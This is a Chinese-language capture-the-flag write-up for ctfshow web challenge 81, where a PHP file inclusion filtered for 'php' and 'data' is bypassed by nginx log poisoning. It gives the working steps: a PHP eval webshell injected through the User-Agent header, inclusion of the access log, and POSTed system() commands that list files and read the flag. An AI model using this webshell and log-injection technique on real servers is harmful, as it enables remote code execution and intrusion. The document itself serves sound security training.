ctf show web入门81

这是一道非常经典的 文件包含漏洞(LFI) 结合 日志注入(Log Injection) 的 Web 题目。我们可以看到代码将输入的php data :都经行了字符串替换为???对 php 和 data 伪协议进行了过滤,这封死了直接通过 php://filter 或 data:// 获取 Web Shell 的路径。

在这种情况下,日志包含 是最通用的 GetShell 手段

  1. 源码分析漏洞点:include($file) 存在明显的文件包含漏洞。
    防御手段:使用了 str_replace 过滤了 php 和 data 关键字。这意味着你无法使用常用的封装协议(如 php://input)。
    绕过思路:由于它没有过滤斜杠和敏感目录,我们可以尝试包含服务器系统日志。
  2. 核心思路:日志注入
    Web 服务器(如 Nginx 或 Apache)会将每一个 HTTP 请求的信息记录在日志文件中。如果我们发送一个包含 PHP 代码的请求,这段代码就会被写入日志。当我们利用 include 包含该日志文件时,PHP 解释器会执行其中的代码。
    步骤一:定位日志文件
    你需要尝试常见的 Web 日志存放路径(通常在 Linux 下):
    Nginx 日志:/var/log/nginx/access.log 或 /var/log/nginx/error.log
    Apache 日志:/var/log/apache2/access.log 或 /etc/httpd/logs/access_log
    验证方法:
    在 URL 后面尝试访问:?file=/var/log/nginx/access.log。如果页面返回了大量的 HTTP 请求记录,说明路径正确。

发现是nginx文件并且日志内容存在与?file=/var/log/nginx/access.log目录下

打开hackbar添加user-agent 内容为:?php eval($_POST1);?>

在尝试访问日志目录下的文件内容

把url+?file=/var/log/nginx/access.log

并且开启post method在里面输入1=system('ls');

发现了存在两个文件fl0g.php和 index.php我们尝试访问fl0g.php 文件

在body里输入1=system('tac fl0g.php');

得到flag为:$flag="ctfshow{4d942eef-e113-43a5-b4d5-de587112182d}

相关推荐
陈随易6 小时前
bm2,Node.js 与 Bun 项目部署新选择
前端·后端·程序员
piikee7 小时前
粤语初学入门:从粤拼、九声六调到开口,一个普通话母语者的练习笔记
笔记·粤语入门·怎么学习粤语
福兮说7 小时前
canvas 旋转图片的六个坑:四角被裁、Math.ceil 多出 1px 黑边、JPG 角发黑、翻转方向反了
前端·javascript·图像处理·canvas
传人once8 小时前
多图片上传预览功能如何写
前端·css·html·jquery·html5
Eric.469 小时前
Wan‑Animate+MiniMax-H3 本地部署 AI 漫剧流水线:8G 显存动作迁移与动态分镜工程实战
前端·人工智能·comfyui·ai漫剧
Seraphina369 小时前
SQL注入(二)盲注
网络·数据库·经验分享·笔记·sql
白山编程大哥9 小时前
Carsim 2024.1 专业安装介绍:功能特性与应用场景详解
笔记
hss123456789 小时前
整装落地与效果图差距有多大?从毫米级误差到ENF板材的量化拆解
笔记
库拉镜像AI牛牛10 小时前
短剧内容自动化生产:知漫剧工作室落地教程
大数据·服务器·前端·人工智能·语音识别
律宏阔10 小时前
Flutter 列表图片内存优化:CachedNetworkImage 与 ClipRRect 的取舍
前端·flutter